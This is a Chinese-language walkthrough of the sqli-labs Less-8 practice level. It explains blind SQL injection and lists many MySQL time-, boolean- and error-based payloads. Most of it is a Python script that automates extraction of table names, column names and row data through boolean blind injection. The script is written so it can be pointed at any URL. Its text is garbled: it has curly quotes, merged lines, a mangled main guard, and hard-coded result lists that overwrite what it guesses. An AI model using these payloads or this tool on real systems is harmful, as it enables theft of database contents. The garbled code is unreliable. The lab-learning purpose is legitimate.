Sqlilabs-8
第 8 关来到了盲注
首先得介绍盲注相关知识:
什么是盲注?
盲注就是在 sql 注入过程中数据不能回显到前端页面。此时,我们就要猜,猜的过程就是盲注。
盲注的类型有哪些?
- 基于时间的盲注
- 基于布尔的盲注
- 基于报错的盲注
对三类盲注的详细说明
- 基于时间,怎么个基于时间?其实就是也有点布尔的意思,并且还需要结合布尔,如果我这样注入,猜测是对是错,由时间来做抉择,如果是对,延迟几秒再显示页面,如果是错,就正常显示页面。
- 基于布尔,怎么个基于布尔?其实跟时间很像,只不过做裁决的不再是时间,而是返回的数据本身,比如,我查ABC这一数据,问第一个字母的 ASCII 值是不是大于 100 ,如果正确,页面就会显示 you are in…,如果错误就什么都不显示。
- 基于报错,其实基于报错有点类似与第五第六关,通过一些函数特性报错得到需要的结果
各类盲注的详细运用
-
基于时间
if 判断语句,如果条件为真,执行 sleepif(ascii(substr(database(),1,1))>115,sleep(5),0)%23
-
基于报错
select count(*) from information_schema.tables group by concat((select database()),floor(rand()*2))
这是由 5.6 关卡的payload简化而来的
如果关键的表[information_schema.tables]被禁用了,可以使用:select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand()*2))
如果rand被禁用了,可以使用用户变量来报错:select min(@a:=1) from information_schema.tables group by concat(password,@a:(@a+1)%2)
还可以利用double数值类型超出范围,exp() 为以 e 为底的对数函数,mysql 版本需为 5.5.5 及其以上
select exp(~(select * from(select user())a))`
利用 mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
-
基于布尔
database():显示数据库名称 left(a,b) 从左侧截取 a 的前 b 位left(database(),1)>'s'
substr(a,b,c):从 b 位置开始截取 a 字符串的 c 长度,ascii():将某个字符串转化为 ascii 值ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
ord():同substr(),mid():同ascii()ORD(MID((select IFNULL(CAST(usernames as char),0x20)from security.users order by id limit 0,1),1,1))>98%23
利用 mysql 重复特性,此处重复了 version(),所以报错select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
!!!
一些常用的ascii值:A:65, Z:90, a:97, z:122, 0:48, 9:57
!!!
下面开始进入关卡:
界面显示要你构造 ID,构造后只显示 You are in… 并不回显内容,所以只能盲注:http://sqlilabs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>96,1,0)--+
…由于盲注太过繁琐,我们可以编写脚本来实现盲注:
实现了基本功能import requests
import sys
import timequote_one = 0
quote_double = 0
twist = 0
table_number = 0
column_number = 0
data_number = 0
table_name = []
column_name = []
data_name = []
choose_table = “”
choose_column = “”headers = {
‘Host’: ‘sqlilabs’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8’,
‘Accept-Language’: ‘zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Connection’: ‘keep-alive’,
‘Upgrade-Insecure-Requests’: ‘1’,
}新的 url 地址
def get_new(url):
new_url = url
global quote_one
global quote_double
global twist
if quote_one != 0:
number_one = quote_one + 1
for i in range(1, number_one):
new_url += “’”
else:
number_double = quote_double + 1
for i in range(1, number_double):
new_url += ‘"’
if twist != 0:
number_twist = twist + 1
for i in range(1, number_twist):
new_url += “)”
return new_url猜测表张数
def guess_table_number(url,str_success):
global table_number
num = 1
while True:
time.sleep(0.1)
new_url = url + " and if((select count(*) from information_schema.tables where table_schema = database())="+str(num)+",1,0)–+"
print(“正在猜测表张数:”+str(num))
response = requests.get(new_url)
if str_success in response.text:
table_number = num
print(“该数据库一共有 “+str(table_number)+” 张表”)
print("-------------------------------------------------")
time.sleep(2)
break
else:
num += 1猜测每张表的名字长度
def guess_table_length(url,str_success):
global table_number
for i in range(0, table_number):
num = 1
str_num = num
while True:
time.sleep(0.1)
a = str(i)
number = i+1;
new_url = url + " and if(length((select table_name from information_schema.tables where table_schema=database() limit “+a+”,1))="+str(str_num)+",1,0)–+"
response = requests.get(new_url)
print(“正在猜测第 “+str(number)+” 张表的表名长度为:”+str(str_num))
if str_success in response.text:
print(“注入成功,第 “+str(number)+” 张表的长度为: “+str(str_num))
print(”-------------------------------------------------”)
time.sleep(2)
table_length = str_num
guess_table_name(url,str_success,table_length,i+1)
break
else:
str_num += 1猜测每张表的名字
def guess_table_name(url,str_success,table_length,tablenum):
global table_name
print(“开始猜测第 “+str(tablenum)+” 张表表名”)
length = table_length + 1
tablename = “”
a = tablenum - 1
for i in range(1, length):
b = str(i)
payload = [‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘0’,
‘a’,‘b’,‘c’,‘d’,‘e’,‘f’,‘g’,‘h’,‘i’,‘j’,‘k’,‘l’,‘m’,‘n’,‘o’,‘p’,‘q’,‘r’,‘s’,‘t’,‘u’,‘v’,‘w’,‘x’,‘y’,‘z’,
‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’,‘H’,‘I’,‘J’,‘K’,‘L’,‘M’,‘N’,‘O’,‘P’,‘Q’,‘R’,‘S’,‘T’,‘U’,‘V’,‘W’,‘X’,‘Y’,‘Z’]
for k in payload:
time.sleep(0.1)
num = ord(k)
num = str(num)
new_url = url + " and if(ascii((select substr((select table_name from information_schema.tables where table_schema=database() limit “+str(a)+”,1),"+b+",1)))="+num+",1,0)–+"
response = requests.get(new_url)
print(“正在猜测第 “+str(i)+” 个字符为: " + k)
if str_success in response.text:
print(“注入成功第 “+str(i)+” 个字符为: " + k)
print(”-------------------------------------------------”)
time.sleep(2)
tablename += k
break
table_name.append(tablename)
print(“第”+str(tablenum)+" 张表的名称为: "+tablename)猜测所选表列数
def guess_column_number(url,str_success):
global column_number
global choose_table
num = 1
while True:
time.sleep(0.1)
new_url = url + " and if((select count(*) from information_schema.columns where table_schema = database() and table_name = ‘"+choose_table+"’)="+str(num)+",1,0)–+"
print(“正在猜测列数数:”+str(num))
response = requests.get(new_url)
if str_success in response.text:
column_number = num
print(choose_table+" 表一共有 “+str(column_number)+” 列")
print("-------------------------------------------------")
time.sleep(2)
break
else:
num += 1猜测所选表列名字长度
def guess_column_length(url,str_success):
global column_number
global choose_table
for i in range(0, column_number):
num = 1
str_num = num
while True:
time.sleep(0.1)
a = str(i)
number = i+1;
new_url = url + " and if(length((select column_name from information_schema.columns where table_schema=database() and table_name = ‘"+choose_table+"’ limit “+a+”,1))="+str(str_num)+",1,0)–+"
response = requests.get(new_url)
print(“正在猜测第 “+str(number)+” 列的列名长度为:”+str(str_num))
if str_success in response.text:
print(“注入成功,第 “+str(number)+” 列的长度为: “+str(str_num))
print(”-------------------------------------------------”)
time.sleep(2)
column_length = str_num
guess_column_name(url,str_success,column_length,i+1)
break
else:
str_num += 1猜测所选表列名字
def guess_column_name(url,str_success,column_length,columnnum):
global choose_table
global column_name
print(“开始猜测第 “+str(columnnum)+” 张表表名”)
length = column_length + 1
columnname = “”
a = columnnum - 1
for i in range(1, length):
b = str(i)
payload = [‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘0’,
‘a’,‘b’,‘c’,‘d’,‘e’,‘f’,‘g’,‘h’,‘i’,‘j’,‘k’,‘l’,‘m’,‘n’,‘o’,‘p’,‘q’,‘r’,‘s’,‘t’,‘u’,‘v’,‘w’,‘x’,‘y’,‘z’,
‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’,‘H’,‘I’,‘J’,‘K’,‘L’,‘M’,‘N’,‘O’,‘P’,‘Q’,‘R’,‘S’,‘T’,‘U’,‘V’,‘W’,‘X’,‘Y’,‘Z’]
for k in payload:
time.sleep(0.1)
num = ord(k)
num = str(num)
new_url = url + " and if(ascii((select substr((select column_name from information_schema.columns where table_schema=database() and table_name = ‘"+choose_table+"’ limit “+str(a)+”,1),"+b+",1)))="+num+",1,0)–+"
response = requests.get(new_url)
print(“正在猜测第 “+str(i)+” 个字符为: " + k)
if str_success in response.text:
print(“注入成功第 “+str(i)+” 个字符为: " + k)
print(”-------------------------------------------------”)
time.sleep(2)
columnname += k
break
column_name.append(columnname)
print(“第”+str(columnnum)+" 列的名称为: "+columnname)猜测列数据行数
def guess_data_number(url,str_success):
global data_number
global data_name
global choose_table
global choose_column
num = 1
data_name = []
while True:
time.sleep(0.1)
new_url = url + " and if((select count(*) from “+choose_table+”)="+str(num)+",1,0)–+"
print(“正在猜测数据行数:”+str(num))
response = requests.get(new_url)
if str_success in response.text:
data_number = num
print(choose_column+" 列一共有 “+str(data_number)+” 行")
print("-------------------------------------------------")
time.sleep(2)
break
else:
num += 1猜测列数据长度
def guess_data_length(url,str_success):
global data_number
global choose_table
global choose_column
for i in range(0, data_number):
num = 1
str_num = num
while True:
time.sleep(0.1)
a = str(i)
number = i+1;
new_url = url + " and if(length((select “+choose_column+” from “+choose_table+” limit “+a+”,1))="+str(str_num)+",1,0)–+"
response = requests.get(new_url)
print(“正在猜测第 “+str(number)+” 行的数据名长度为:”+str(str_num))
if str_success in response.text:
print(“注入成功,第 “+str(number)+” 行的数据名长度为: “+str(str_num))
print(”-------------------------------------------------”)
time.sleep(2)
data_length = str_num
guess_data_name(url,str_success,data_length,i+1)
break
else:
str_num += 1猜测所选列数据名字
def guess_data_name(url,str_success,data_length,datanum):
global data_name
global choose_table
global choose_column
print(“开始猜测第 “+str(datanum)+” 张表表名”)
length = data_length + 1
dataname = “”
a = datanum - 1
for i in range(1, length):
b = str(i)
payload = [‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘0’,
‘a’,‘b’,‘c’,‘d’,‘e’,‘f’,‘g’,‘h’,‘i’,‘j’,‘k’,‘l’,‘m’,‘n’,‘o’,‘p’,‘q’,‘r’,‘s’,‘t’,‘u’,‘v’,‘w’,‘x’,‘y’,‘z’,
‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’,‘H’,‘I’,‘J’,‘K’,‘L’,‘M’,‘N’,‘O’,‘P’,‘Q’,‘R’,‘S’,‘T’,‘U’,‘V’,‘W’,‘X’,‘Y’,‘Z’]
for k in payload:
time.sleep(0.1)
num = ord(k)
num = str(num)
new_url = url + " and if(ascii((select substr((select “+choose_column+” from “+choose_table+” limit “+str(a)+”,1),"+b+",1)))="+num+",1,0)–+"
response = requests.get(new_url)
print(“正在猜测第 “+str(i)+” 个字符为: " + k)
if str_success in response.text:
print(“注入成功第 “+str(i)+” 个字符为: " + k)
print(”-------------------------------------------------”)
time.sleep(2)
dataname += k
break
data_name.append(dataname)
print(“第”+str(datanum)+" 列的名称为: "+dataname)if name == ‘main’:
#url =input(“请输入你需要注入的 url 地址 | 注意 url 需要有可注入的地方,如:http://sqlilabs/Less-8/?id=1 :”)
url = “http://sqlilabs/Less-8/?id=1”
response = requests.get(url=url,headers=headers)
str_success = “You are in…”
print(“请手工尝试注入类型为单引号 或者 双引号 或者 单引号+括号 或者 双引号+括号等等…然后在下方输入数量:D”)
try:
quote_one = int(input(“请输入单引号数量:”))
if quote_one == 0:
quote_double = input(“请输入双引号数量:”)
twist = int(input(“请输入括号数量:”))
except:
print(“请输入正确的数量,程序已终止…请重新运行”)
sys.exit()
new_url = get_new(url)
if str_success in response.text:
guess_table_number(new_url,str_success)
guess_table_length(new_url,str_success)
print(“全部表名–>:” + str(table_name))
table_name = [‘emails’, ‘referers’, ‘uagents’, ‘users’]
while True:
print(“0 : 退出”)
for i in range(len(table_name)):
print(str(i+1)+" : "+table_name[i])
name = int(input(“请认真选择要检索的表:”))
if name >0 and name <= len(table_name):
name = name - 1
choose_table = table_name[name]
guess_column_number(new_url, str_success)
guess_column_length(new_url,str_success)
column_name = [‘id’,‘username’,‘password’]
print(“全部列名–>:” + str(column_name))
while True:
print(“0 : 退出”)
for i in range(len(column_name)):
print(str(i + 1) + " : " + column_name[i])
name = int(input(“请认真选择要检索的列:”))
if name > 0 and name <= len(column_name):
name = name - 1
choose_column = column_name[name]
guess_data_number(new_url, str_success)
guess_data_length(new_url, str_success)
print(“全部数据–>:” + str(data_name))
else:
break
else:
print(“您的选择有误!请重新选择:D”)
else:
print(“请输入正确的 url 地址!”)
????